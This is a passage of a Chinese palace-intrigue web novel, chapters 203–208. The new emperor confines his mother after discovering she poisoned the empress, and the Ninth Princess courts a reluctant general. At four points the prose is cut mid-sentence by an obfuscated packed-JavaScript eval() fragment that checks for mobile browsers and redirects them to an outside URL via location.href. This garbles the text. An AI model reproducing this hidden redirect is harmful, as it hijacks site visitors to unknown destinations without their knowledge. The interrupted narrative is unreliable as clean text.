苏苡安一根一根掰开了他的手指, “你身上热**,我才不要挨着你。” 苏苡安起身就跑了,萧北铭目送她的背影从视线里消失,才重新埋头于公务。 一朝天子一朝臣,登基大典定在十日后,这之前,要把新的朝臣定下来,太子和宁王的人,清理的清理,关押的关押,贬谪的贬谪,还有好多事情要忙。 后宫。 温良妤收到了侍卫送来的一堆内务文书,特别开心。 儿子果然还是亲生的,一登基就把管理后宫的权利给她这个太后了,之前这么多年的隐忍和委屈,都是值得的。 白婳婳眼看姨母掌权了,后宫她最大了,就开始煽风点火, “姨母,都安定下来好几天了,皇上日理万机,不来给你请安情有可原,可是,皇后闲着没事干,也不露面,就太不像话了。” 温良妤凝眉: 白婳婳说的,确实是她这几天心里膈应的。 皇上连管理后宫的大权都没给她,看来也是把她利用完了就扔掉了。 之前,儿子那么呵护她,原来都是为了拉拢裴思远。 儿子是个有城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422947|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府有远见的,是她肤浅了。 如今,尘埃落定,儿子就不把她当回事了,她还不是任由自己处置? 思及此,温良妤冷然启唇, “你去把皇后叫过来。” 白婳婳趾高气扬地带着太后的口谕去勤政殿拿人,却连勤政殿的大门口都没走到,就被侍卫拦下了, “后宫之人,非诏不得入。” 白婳婳简直不敢相信自己的耳朵, “我可是奉太后的口谕来的。” 侍卫铁面肃声, “这里不是后宫的范围了,只听皇上和皇后的诏令,姑娘请回,再往前一步,杀无赦。” 不带一点温度的‘杀无赦’三个字,让白婳婳想起了那日在镇北王府门口的遭遇。 这些当兵的,根本不讲理,说动手,就动手。 她害怕了,连忙提着裙摆,往回跑。 温良妤听了,可气坏了,气得脑袋瓜子嗡嗡作响。 儿子到底被灌了什么**汤了,竟然把她留在勤政殿里耀武扬威。 她怎么还不死! 都戴着冰蛇心手镯这么久了,她怎么还不死! 温良妤极力压了压火气,觉得儿子刚刚登上大位,不能在这个时候爆发母子矛盾,太不体面了。 儿子不给苏苡安管理后宫之权,一定是因为她身子骨不好。 再等一等,说不定再等几日,她就死掉了。 温良妤这一等,就等到了新帝的登基大典。 看着帝后携手登大位,接受百官朝拜,气色都好得不得了,比她这个太后好得多,才后知后觉: 是因为鬼医婆婆给她做治疗了,才让她看起来无恙吗? 帝后始终都没入后宫给太后请安,温良妤在后宫的那些太妃面前,自觉脸面无光。 太妃公主们来给她请安,她都觉得是在看她的笑话。 这一日,温良妤实在是忍不住了,就想趁着皇上上早朝的时间,去勤政殿给皇后立规矩。 纵使太后之尊,温良妤一行人,依旧被侍卫拦在了勤政殿的门口。 唯一的礼遇就是,侍卫愿意去跟皇后通传一声。 第203章 这女的是来争宠的! 彼时,苏苡安正在龙榻上睡觉。 昨日来了月事,夜肚子疼,腿疼,疼得她一夜翻来覆去没睡好。 天亮刚刚睡着一会儿,就被叫醒了,真是躁郁得想爆粗口。 可是,想想萧北铭对她那么好,太后又是萧北铭的亲娘,她再有起床气,也不能骂他的娘,只能无奈地叹了口气, “请进来吧。” 勤政殿的院内,一个人影都没有。 温良妤就问领路的侍卫, “宫女太监都哪里去了?” 侍卫如实回禀, “回太后,勤政殿里只有侍卫。” 温良妤更加火大: 宫女和太监都没有,谁伺候皇上? 苏苡安一个人能伺候好吗? 争宠也没有这么争的,真是不成体统,苦了我的儿子了! 当温良妤进入寝殿,见到苏苡安还披头散发地半躺半坐在龙床上,一副睡眼惺忪的姿态,差点气得翻白眼。 皇上都去上早朝了,她竟然还没起!见到太后还躺着不见礼。 历朝历代,都找不到这样没规矩的皇后。 不就是仗着她没血亲的弟弟有从龙之功吗?怎么就狂成这样了? 苏苡安面无表情地看着太后的脸色青一阵白一阵,静候她的表演,也懒得说话。 温良妤终于端不住太后的体面了,厉声呵斥道, “皇后!你还有规矩吗,见到我都不起来见礼?” 苏苡安却是语气温吞,不卑不亢道, “抱歉,母后,我来了月事,身子沉重疼痛,浑身无力,现下实在没力气下床。” 温良妤心中一喜,看她脸色这样苍白,应该不是装的,肯定是冰蛇心发挥作用了。 太好了,她活不了多久了! 表面,却是端着太后的架子,恼怒之色更甚至, “什么?你来了月事还敢睡在龙榻上! 癸水最是污秽,你怎么敢冲撞皇上的龙体!” 苏苡安颔首一笑, “母后请放心,皇上是尸山血海里杀出来的战神,一点点经血是冲撞不到他的。” 温良妤一瞧,她今日是跟自己杠上了,冷着脸,给了她沉重的一击, “皇上冲撞不着,是皇上的本事,可你作为皇后,要懂规矩。 皇上是天子,不是你一个人的夫君。 赶紧打起精神来,从各府中挑选合适的女子,为皇上充盈后宫,才是你该做的事。” 苏苡安一点都没被太后的话伤害到,只是,彼时,她肚子又抽痛了起来,让她没精神头再多言了,就轻飘飘地说了一声, “好。” 温良妤也是没想到,她竟然这么痛快就答应了。 她不是应该跪地哭诉她刚跟皇上大婚不久,中宫还无所出,不能急着纳妃,让我宽容她吗? 看来,她是想显示自己大度,博得一个贤后的好名声。 温良妤又开始装温和婆母,以便不被皇后的大度衬托得太小气, “后宫我已经收拾出来了,最大的凤鸣宫给你做寝宫了,今日就搬过去吧。” “嗯,多谢母后。” 温良妤见她态度软了下来,也就越发的得寸进尺, “你现在既然身子不爽,就好好歇着,让白婳婳留下伺候皇上,照顾大皇子。” 苏苡安依旧是回复一个‘好’字。 她只管打嘴炮,剩下的事情,都甩给萧北铭处理。 要是萧北铭同意充盈后宫,那她立马就走,带着晏儿一起走。 她有的是钱,走到哪里都能过好日子,收留一群美男子,生活照样美滋滋,真的没什么大不了的。 白婳婳见事情进展得这么顺利,嘴角疯狂地上扬,内心已经欣喜若狂了。 来之前,太后承诺她,只要她在勤政殿留宿一夜,不管皇上有没有宠幸她,她都能以太后的身份封她一个名分。 并且,太后还给她出了个好主意: 皇上不好相与,让她去找萧晏。 白婳婳觉得这次自己满门的荣华富贵肯定是稳了。 萧晏才五岁,又是个很乖巧的好孩子,自己哄着他玩到明天早上,一点难度都没有。 白婳婳目送走了太后一行人,才跟侍卫打探大皇子住在哪里。 侍卫虽然不知道殿内刚刚发生了什么事,但是,太后留下了一个年轻女子在此,他马上就猜出来原因了: 这女的是来争宠的! 只是,他想破脑袋也没想明白,为何皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422948|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能拔剑带着他们逼宫,手起刀落毫不留情,平日里,也能把皇上拿捏得死死的,此刻,却弄不走一个弱女子。 这也太诡异了…… 彼时,萧晏正和他的十个小亲卫出晨功呢,一个个手里舞着刀剑棍棒,练得正欢。 白婳婳跟萧晏喜笑颜开地表明来意, “晏儿,姨姨是来照顾你的,以后啊,我陪你玩,就不劳烦辛苦皇后了。” 就你,也妄想来替代我的娘亲? 萧晏心中震惊一瞬,表面不动声色收了手中的短刃入刀鞘,露出一个甜甜的笑脸,不假思索道, “姨姨,你既然是来照顾我的,我还养了一只大猫猫,大猫猫早上还没吃饭呢,你能不能帮我喂一喂?” 白婳婳欣然点头, “当然可以啊,你的大猫猫在哪里,以后啊,姨姨就连带着你的大猫猫一起照顾了。” “请随我来。” 白婳婳伸手,想牵着他走,不曾想,却是牵了个空。 白婳婳也没有太在意,就跟在萧晏后面,来到了院子东侧厢房的一个大铁门处。 萧晏踮起脚尖,打开了大铁门上的门闩, “我的大猫猫就在里面,劳烦姨姨进去喂一喂。” 白婳婳一进去,就看到了一只比她还大的吊睛白额虎,吓得一声嚎叫,转头就跑。 虽然,这大老虎现在被驯化得不咬人了,但是,作为猛兽的天性还是有的。 那就是见到比自己弱小的动物进入了它的领地,要本能地进行驱赶。 白婳婳又惊又吓,尖叫连连,老虎的爪牙都没碰到她,她自己就摔倒了。 惊慌失措地在地上爬了摔,摔了爬,最后,终于在大老虎逼近之时,吓得晕**过去。 萧晏吹了一声口哨,唤停了大老虎的,看着白婳婳连连摇头, “啧啧,我还以为是什么厉害角色来挑衅我的娘亲,就这啊?不堪一击。” 白婳婳就这样被晾在地上,无人过问,一群小家伙该练剑的练剑,该练枪的练枪。 等白婳婳从惊吓中苏醒,迎接她的,是趴在她身边,冲着她呼出一口腥臭热气的大老虎。 白婳婳两眼一翻,又被吓晕了过去…… 第204章 朕是什么好东西吗?! 如此反复了两三次,白婳婳终于苏醒,逃跑一气呵成。 最后,在大老虎的追逐下,哭嚎着逃回了太后的宫里。 温良妤气得直接赏赐了她一个大嘴巴: “不争气的东西!扶不起来的阿斗!蠢货! 那老虎要是真的**,你还逃得回来吗?” 白婳婳跪在地上,哭得梨花带雨, “晏儿从前很乖巧的,一定是皇后把他教坏了,他才放老虎吓唬我的,姨母,这不能怪我啊。 要不然,您就等着皇上选妃的时候,直接封我一个位份吧?” 温良妤还没来得及说话,一声‘皇上驾到’从殿外传来。 温良妤怒目看向跪在地上的白婳婳, “没用的东西,还不快退下!” 事到如今,温良妤已经对白婳婳彻底失望了。 这么笨的女人若做了后妃,将来给她生出个傻孙孙可如何是好? 她的孙孙,都要像晏儿那样聪明伶俐才好。 萧北铭板着脸,穿着明黄色的龙袍朝服,大步流星地走了进来。 他就不明白了,母后为何就不让他过安生日子,非要给他添堵,真是气不打一处来, “白氏呢,立即送出宫去!” 温良妤见到登基后首次入她宫里的儿子,不给她请安,第一句话就是发落她的人,怨气比鬼还大, “看来,是皇后恶人先告状了,明明是皇后不成体统,见到太后还躺在床上不见礼,你竟然如此不分青红皂白就偏袒她,皇上是想做个昏君吗?” 萧北铭眯起眼睛看向太后, “母后为何要用这么大的恶意去揣测皇后? 她什么都没有跟朕说,但是,朕不聋不瞎。 至于她为何会身子孱弱下不来榻,无法给你见礼,母后心里没点数吗?” 萧北铭从袖子里掏出了太后送苏苡安的那枚手镯。 温良妤瞬间脸色骤变,眼睛直勾勾地盯着手镯,确认这是她送给苏苡安,装了冰蛇心的那只。 萧北铭黑眸沉沉,一字一句道, “自从皇后上个月滑胎,朕就派人细查了一下,拜母后所赐,她伤了女子的根本,侥幸有孕,也坐不住胎。” 温良妤咽了咽口水,极力凝神,狡辩道, “一定是皇后把冰蛇心放进镯子里,诬陷我的! 打眼一看,就知道她是个诡计多端,颠倒黑白的女人,绝对不是什么好东西! 你不要被她的花言巧语蒙蔽了。她一个二嫁之女,坐不住胎,有什么奇怪的?” 太后的话字字刺耳,萧北铭气得肝疼,犀利的眸光看向她,森冷质问, “朕有说这镯子里装的是什么吗?冰蛇心可不是什么常见的**,母后又不懂医理,是从何处得知的?” 温良妤倒抽一口凉气,自觉失言,也就破罐子破摔了, “苏苡安一个二嫁之女,无才无德,不敬婆母,怎么能母仪天下? 她又不能生,还霸占着圣宠,不肯尽皇后的职责为你充盈后宫,为天下女子做了一个很坏的表率,上行下效,岂不是乱了三纲五常! 此等恶毒妇人,断然留不得,否则,我就是对不起萧家的列祖列宗!” 萧北铭两道剑眉倒竖,恼到了极致, “朕的皇后是什么人,她有没有资格母仪天下,自有天下万民评判。 母后只需要清楚你的儿子是什么人就好。 朕带兵逼宫,杀兄杀弟囚父,连襁褓中的侄子都没放过,朕是什么好东西吗?!” 温良妤瞠目,“你,你……” 萧北铭眸光坚毅,语气坚定道, “太后无德,给皇后**,导致皇后滑胎,行为实在恶劣! 以后,就不要管后宫事了,就在自己的宫里吃斋念佛,为朕那个死去的孩子祈福,为自己的罪行忏悔!” 温良妤震惊,“你竟敢禁足你的母后?!” 萧北铭眉眼下压,语气冷冽,反诘道, “朕又不是什么好东西,朕有什么不敢做的? 父皇没做错什么,朕都能囚禁了他,母后犯了天大的错,禁足你有什么可惊讶的吗?” 温良妤破大防了,眼泪夺眶而出,大声道, “你这个忤逆不孝的东西!竟然为了一个女人如此对待自己的生母!你也不想想,没有我,你能登上皇位吗?” 萧北铭慢条斯理道, “母后是觉得,朕有今日,是靠小时候你扇的那些巴掌吗?” 温良妤肃然道, “难道不是吗?如果不 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她一个萧楚钰都不要的傻子,有什么本事?! 你想抬高她,也不能这么不着边际啊!” 萧北铭双目一闭,很后悔多余跟她解释这些,复又睁眼,双眸满是凌厉, “母后既然什么都不信,只活在自己的认知里,那你就当朕是个没人性的畜生好了! 你怎么看待我们,对于我们来说,一点都不重要! 好好反思!朕的人生,你帮不上忙,起码,也不能捣乱!” 萧北铭带着一肚子气说了这番话,气归气,归其根本原因,是他不想让事情变得更坏。 苡安不是个能受委屈的人,她现在能给他面子,不和他的母后计较,万一哪天她计较上了,怕是有无数种方法让母后死于各种意外…… 到那时候,他又该如何面对? 与其面对那样的绝境,还不如现在他就来做这个恶人。 非要关上她一段时间,让她吃点苦头,她才能装一个贤德婆母。 不求她真心悔改,只要她能一直装下去,不再去招惹苡安就好…… 第205章 这具身体生产过 萧北铭出了殿门,白婳婳突然冲了过来,跪地哭求, “皇上,您不能赶我出宫啊,白家所有人都知道我是要进宫做娘娘的,我若是被赶出去,就没脸活了,求皇上垂怜。” “那你就**!” 萧北铭没好气地扔下了这句话,就甩袖离开了。 他每天都挖空心思想着怎么哄媳妇开心,偏偏有这些没眼色的东西来给他添堵,真是晦气**。 萧北铭出了太后的宫殿,转头就往贤太妃的宫里走去。 媳妇不爱管理后宫的琐事,后宫也不能没人打理,他准备把这些事都交给小九。 乌家女眷没有一个靠谱的,以后她嫁过去,是要做掌家媳的,现在正好让她历练历练,免得以后乌二成家了,还要操心家里的事情。 萧佩玖本来是不敢接下这个艰巨的差事的,可是,听皇兄说,有什么不懂的地方,可以去问乌二,她马上就应下了。 好久好久都没见过乌二了,这不正好是个接触的绝佳机会嘛。 萧北铭办完了这些事,就大步往勤政殿走,想着媳妇还在等他吃午膳,走得很快。 倏尔,就听见身后有哒哒的马蹄声。 谁那么大胆子,竟敢在皇宫里纵马? 萧北铭十分烦躁地回眸,原来是我媳妇啊,那没事了。 萧北铭刚刚还紧皱的眉头,瞬间就舒展,心情也跟着好起来了。 她别说骑马了,就是骑着他在宫里转两圈,他都没意见。 苏苡安策马过来,萧北铭很自然地为她牵了缰绳,关切道, “身子不适怎么还来后宫了?” “听说父皇流鼻血了,我得亲自来看看才放心。” “啊?父皇怎么了?” “没大碍,他有点发热,烧破了鼻腔里的**细血管,现下已经止住了。 我开了方子,让太医熬药呢,父皇吃了药,估计明日就能退热了。” 说起开方子治病的事,萧北铭脸上又漾起了愁绪: 她能治好别人的病,怎么就治不好自己呢? 每次看她来月事都痛得睡不着觉,他也跟着难受得不行,只恨自己不能替她受罪。 是夜。 苏苡安再次梦见她生孩子,还是生出了戴虎头帽穿虎头鞋的小晏儿,吓得从萧北铭的怀里惊醒,大口地喘息着。 萧北铭连忙坐起来给她顺后背, “又做噩梦了吗?” “倒也不算是噩梦吧……” 苏苡安很希望,萧晏是她亲生的, “要不然,咱们分床睡吧?我近来夜夜惊梦,安神药也不顶用,你也睡不好。 我倒是无所谓,白天还可以补觉,可是,你要上早朝,白日里还要批那么多折子,晚上睡不好觉可不行。” 有她这些关心的话语,萧北铭的心里暖烘烘,疲惫就一扫而空了, “瞧瞧,还说自己没做噩梦,这都吓得说胡话了。 咱们这辈子,注定要生同衾死同穴,是不可能分床睡的。” 苏苡安长叹了一口气, “下辈子,我一定要做个男人,做女人,真是好烦啊。” 萧北铭可不希望她下辈子做男人,他还想生生世世跟她做夫妻呢, “要不然,我发个皇榜,把鬼医婆婆找出来,说不定,她能治好你。” “呵呵。” 苏苡安冷笑了两声,她可没脸跟他承认自己就是鬼医婆婆。 要不然,那次她坑他的十万两自己给自己治病,就太不要脸了。 虽然,她也没怎么要过脸…… “不用,你可别小瞧我,我肯定是这个世上最厉害的大夫,别说鬼医婆婆,就是鬼医老祖来了,也比不过我的医术。 你甭担心我了,我还有好多方子没用呢。” 萧北铭似乎有点不信,“啊?你跟自己还藏着掖着呢?” “先前,我不是觉得自己还没到那种程度嘛。” 苏苡安确实还有招,那就是用治疗产后之症的方法来调理痛经。 先前,她一直先入为主,觉得这具身体的年纪太小,不可能生产过,可是,现在的种种症状,让她不得不往那方面想了。 加上总是做梦梦见生孩子,她觉得,那或许是个心理暗示: 这具身体生产过。 翌日。 萧北铭去上早朝,苏苡安就开始给自己熏艾。 一炷艾草熏完,肚子的疼痛减轻了许多。 苏苡安心中隐痛起来: 这具身体,可能真的生过小孩,或者是小产 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过后,拉着她好一通诉苦, “后宫的事,我好多都不懂如何处理,皇兄让我问乌二将军,可是我每次找他,他都说没空。” 苏苡安生怕萧佩玖撂挑子不干了,把这糟心的差事甩给她,连忙替乌二辩解道, “乌二现在都是定国将军了,白日里政事多得很,你勤找找,他总有有空的时候。” 萧佩玖愁绪上眉梢, “我觉得,乌二将军好像是在躲着我,每次都说忙,让我把要问的事情写下来给他的侍卫。 他再写好解决方法,由他的侍卫转交给我,他好像不想跟我说话。” 苏苡安哑然: 这哪里是好像,这明明很明显…… 萧佩玖拉着她的手,乞求的眼神看着她,撒娇道, “皇嫂,你能不能帮我啊,求求啦~” 苏苡安把脑袋摇成了拨浪鼓, “不行啊,我小产之后体虚,头晕眼花,走路都打晃。 后宫的事,我真的是一点都管不了,我求你了你别求我,去求你皇兄吧。” 第206章 我又不是什么正经人,能出什么正经主意? 萧佩玖着急得一跺脚,一甩手,娇矜含羞, “哎呀,嫂嫂,我要求你的不是这个~ 后宫的事,我愿意代劳,我想求你帮我想想办法,抓住乌二将军的心。” “原来是这样……” 苏苡安瞬间轻松了起来,别让她干活儿就好,只是,她特别不理解, “你们有婚约的嘛,等明孝皇后的孝期过了就可以成亲了,你现在费那个力气作甚?” 萧佩玖脸颊染上了红晕,颔首垂眸不好意思看她,低低软软地说道, “不瞒嫂嫂,我从小就心悦乌二将军,他的身心我都要。 我以后也想像你和皇兄那样,琴瑟和鸣,伉俪情深。 这世上,只有你能帮我了。 嫂嫂,你就帮帮我嘛~” “女追男啊,这事情……” 苏苡安认真想了想: “男人喜欢的东西,无非归结于三样,权力,金钱,美色。 你给不了他权力,那就使劲送他东西,什么贵送什么,拿钱砸死他,砸到他对你死心塌地为止。” “啊?” 萧佩玖有些愕然抬眸,眼中疑惑万千, “可是,乌二将军有从龙之功,皇兄肯定重重封赏过他了,他会缺钱吗?我一个公主而已,没多少钱财,我怕我砸不动他诶。” 苏苡安一撇嘴, “诶,谁会嫌弃钱多啊?成年人的世界,钱在哪里,爱就在哪里,用你的真金白银表达爱意,他肯定特感动。 万一的万一,乌二将军是个特例,视金钱如粪土,你不是还有美色呢吗? 都说英雄难过美人关,这事情,也不难。” 萧佩玖抿唇,很是娇羞地追问, “嫂嫂,你具体说说嘛~” 苏苡安黛眉一挑,笑道, “比如,你可以趁他不注意,抱他,亲他,撩完就跑,保证他回味无穷,梦里梦外都是你。” 萧佩玖听得呆若木鸡,半晌才回神, “嫂嫂,你这是正经主意嘛……” 苏苡安轻嗤一笑, “我又不是什么正经人,能出什么正经主意? 你甭管这主意正经不正经,好用不就行了。” “你,你就是……这么……”萧佩玖红着脸,欲言又止。 苏苡安爽快道, “对,没错,我就是这么把你皇兄搞到手的。 你放心大胆去干吧,出了事,你就把我供出来,我给你兜着。” 这一天,乌二去御书房找萧北铭,扭扭捏捏地说不想住在勤政殿了,想回辅国将军府住。 萧北铭特别善解人意, “是你家出什么事了吗?给你休沐几日,办完事再回来。” 乌二摇头,“不,没有,家里没事。” 萧北铭又猜, “那就是勤政殿住下得不痛快了?你可以随便挑个空的宫殿住。” 乌二连连摇头, “也不是,我就是想多陪陪我爹娘。” 萧北铭才不信这个理由,眯起眼睛审视他, “从前,你可是最怕回府的,怎么,是最近皮子紧了,想回去挨打吗?” 乌二一脸怅然, “就,就算是吧,我家人都是大老粗,都爱动手嘛,我都被打习惯了……” 萧北铭没耐心再猜了,倏尔摆出了帝王威仪, “乌二,你是觉得,跟朕一起长大,诓骗朕就不算欺君之罪了吗?” 萧北铭冷眼盯着他,等他说实话。 “臣万万不敢欺君!” 乌二立即惶恐跪地,一脸吃瘪,犹犹豫豫地说了实话, “我,我就是想出宫住,躲一躲九公主……” 萧北铭蹙眉, “啊?小九儿,她一个小姑娘,把你如何了?” 事已至此,乌二也不想维护公主的颜面了,大吐苦水, “皇上,九公主最近也不知道怎么了,天天给我送很贵重的东西,我不要,她扔下就走。 方才,她竟然抱着我不撒手,还蹦起来,想亲我。 天呐,跟撞邪了一样,真是要吓死我了……” 萧北铭愕然, “你,就那么讨厌小九儿?” 乌二蹙眉, “我没讨厌九公主,只是,我也不喜欢她,更不想跟她走得近。” 萧北铭立即追问道, “难道你心里有别人了?没关系,说出来,朕给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422951|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赐婚。” 乌二有些哭笑不得, “没有,我就是不想成亲,真的。” 萧北铭真心替他发愁,又劝道, “可是,人总是要成亲的啊,你还是乌家的独子,不能不成亲的。 早晚都要成亲,还不如趁早。再者说,你都二十五岁了,已经很晚了。” 乌二愁眉紧锁, “皇上,我真的不想成亲,我就想一个人做自己喜欢做的事,不想被家庭所累。” 萧北铭叹了一口气,又劝道, “乌二,你一向懂事,怎么到了自己的终身大事,就如此糊涂? 你不成亲,乌家不就绝后了吗?你对得起列祖列宗吗? 你和你爹,辛辛苦苦用命挣来的家业,将来传给谁?” 乌二被戳中了要害,不得不低头, “那也不急,我爹三十岁才成亲呢……” 萧北铭语重心长道, “反正,小九儿还要给明孝皇后守孝呢,你们这婚事,也不急。 你先和小九处处看,若是觉得可以和她共度一生,就正常大婚。 你若是喜欢上旁人了,就告诉朕,朕给你另行赐婚。” 乌二很感动,“谢皇上,那我出宫住的事……” 萧北铭严肃了态度, “咱们从小就住一块,你可是朕的左膀右臂,你觉得,朕能失去臂膀吗?” 乌二无法反驳皇上,只能说, “要不然,我请个道士,进宫看看?九公主现在的癫狂状态,肯定是被什么冲着了。” 萧北铭瞪了他一眼,“这事情,不用你办,朕自有主张。” 萧北铭心下了然,这事情,请道士也没用,小九身后,肯定是苏苡安在出馊主意。 晚上卧谈会上,萧北铭就提了这件事。 苏苡安啧啧不已, “你说,咱们小九儿哪一点配不上乌二啊? 他长那么差强人意,有一个漂亮的小公主看上他了,他还嫌弃上了,难道,他是个断袖?” 萧北铭宠溺又责备的语气, “你不要瞎说,抛开长相不谈,乌二哪里都没得挑,小九眼光不错,只是,乌二不开窍罢了。” 第207章 隐疾 苏苡安还是很感慨, “哎呀,既没有优越的长相,感情又不开窍,这都能被看上,真是理解不了小九儿的审美。” 到底是养在深宫的公主,没见过什么男人…… 这话,苏苡安没说出口。 萧北铭没有被她的逻辑带偏,而是直接说正题, “你之前给小九儿出馊主意,把乌二吓得都要出宫住了。 你明天去跟小九说说,让她别对乌二动手动脚的,矜持点。” “知道了,知道了~” 苏苡安敷衍了两声,还是对自己感兴趣的话题展开了评论, “既然不是断袖,金钱和美色也都打动不了,那就是身体上的原因了,乌二从前是不是在战场上伤到要害了?” 萧北铭神色凝重起来,“没有吧……我没听他说过……” 苏苡安狐疑, “那他就是有什么心理障碍,我找机会跟他话聊话聊,虽然不好治,但是,我可以试试。” “啧!” 萧北铭如临大敌, “你不许跟他聊这些,我去聊!” 苏苡安十分好脾气地笑道, “好好好,你长得好看,你去聊。” 萧北铭又语重心长地说, “说真的,虽然今天我讲大道理劝说了乌二,可是,如果等过几年,乌二还是不愿意成亲的话,我也不想勉强他了,只要他此生顺心顺遂就好。” 苏苡安戏谑道,“你还挺善解人意的哈。” 萧北铭把枕在他臂弯里的人往怀里拢了拢, “感同身受罢了,遇见你之前,我也不想成婚。 若遇不到真心喜欢的人,跟谁过都是将就,纯粹是为了子嗣成亲,我感觉没什么意义。” 苏苡安点点头,“你这个想法不错,只是,你妹妹的心愿,你是一点都顾不及了?” 萧北铭长叹一口气, “世上哪里有那么多事事如意啊? 乌二从小就跟着我,做牛做马的,几度负伤险些丢命,我得偏向他。” 苏苡安撑起上半身,双臂交叠枕在萧北铭的胸膛,欣赏着他的盛世美颜, “乌二可真是跟对人了。” 萧北铭环着她的腰,把她往怀里扣了扣, “你也是。” 苏苡安居高临下地看着他, “你跟我在一起开心吗?” 萧北铭不假思索道,“自然是开心的。” 苏苡安捧起他的脸颊发问, “那你为何从来都不笑?” 萧北铭注视着她,顿了一下,说了实话, “我……怕自己笑起来不好看,你不喜欢了。” 苏苡安惊呼, “萧北铭,你怎么对自己这么伟大的一张脸如此没自信啊? 你看晏儿笑起来多么阳光灿烂,多好看啊,他长得像你,你笑起来,肯定丑不了。 来,笑一个,我看看。” 萧北铭不接受她这种味道怪怪的调戏, “可是,我觉得,他笑起来像你,两个小酒窝,眼睛亮亮的。” 苏苡安很高兴,“你现在是不是看晏儿越来越顺眼了?” 萧北铭严肃脸,“不,我永远看他都不会顺眼,不过,既然你喜欢他,那我尊重你的决定。” 苏苡安有些怨艾,“你才多大年纪,总是老气横秋地跟我说永远。” 萧北铭一本正经道,“那咱们就说说眼下要办的事。” 苏苡安不耐,“眼下你还有什么事要我办?” 她一点都不想干活,准备接下来不管让她干什么事,她都要推掉。 萧北铭一个迅捷的翻转,将人困到了身下,俯身凑到了她的耳畔,用气音吐出一句话, “辛苦你熬个夜。” 苏苡安又展露了轻松的笑颜: “来吧,宝贝~” 数日后。 萧北铭主动问乌二,小九有没有再对他动手动脚。 乌二十分无奈, “九公主不送我贵重的东西,也不投怀送抱了。 但是,她天天都派人给我送吃的,还有一些很酸的诗。 我感觉,她真是魔怔了,真得请个道士来做法了。” 萧北铭白了他一眼, “请道士有用的话,朕早就被萧南征诅咒**。 你们有婚约,她给你送点吃的书信,也不算逾矩,你也不用放在心上。 过来,看看这些密报。” 乌二看了派去北幽的细作传回来的密报,都是些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422952|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛不痒之事,一个有价值的情报都没有,他眉头紧锁, “皇上,好些年都没有北幽护国公主的消息了。 我总感觉,她那样狡诈的人不可能是死于北幽的皇权内斗。 她这些年藏锋,会不会在憋大招,想打咱们一个出其不意? 实不相瞒,我最近,整夜整夜地睡不好,总是梦见护国公主带着玄铁营夜袭。 要不然,我还是去北疆驻守吧?” 萧北铭也是没想到,他为了躲小九,竟然想跑到北疆去, “你的梦里,那北幽公主,长什么样?” 乌二回想着,娓娓道来, “典型的北幽人,人高马大,五大三粗,手持北幽大**,骑着高头大马冲过来,一刀就砍掉一个人脑袋,彪悍至极!” 萧北铭戏谑, “哦,原来她长那样啊,和你差不多哈。” 乌二悻悻地撇撇嘴,挠挠头, “呵呵~” 萧北铭认真地分析, “皇族纳妃,都是选样貌极出众之人,北幽太后可是宠妃上位,生出的长公主,肯定丑不了。 你让咱们的那些细作,多上阙都的街上逛一逛,看到模样和气质特别出挑的女子,多看上几眼,没准,其中就有那护国公主了。” 乌二点点头,“皇上也觉得,那护国公主还活着?” 萧北铭若有所思道, “嗯,北幽的小皇帝已经成年了,却迟迟没有亲政,可见,北幽的摄政王有多大的野心了。 我觉得,那护国公主,现在八成是在帮弟弟从摄政王手里**呢,暂时,他们无暇南犯。” 乌二狠狠道, “有生之年,我一定要取下北幽护国公主的首级。” 萧北铭眸光里也爆发出了凛凛杀意, “那是必然的,只是,你现在不用急着去北疆,以后,一旦北疆有战事,朕坐镇上京,你就是镇北军的主帅了。” 乌二郑重点头,“嗯!” 萧北铭想起了苏苡安的猜测,就顺势引导, “说来,北幽的小皇帝也成年了,却还没有大婚。 按理说,大婚之后就可以顺理成章地亲政了,他会不会是有什么隐疾?” 第208章 一个被窝睡不出两种人 乌二完全没觉得皇上这话有含沙射影之意,很正经地说出了他的分析: 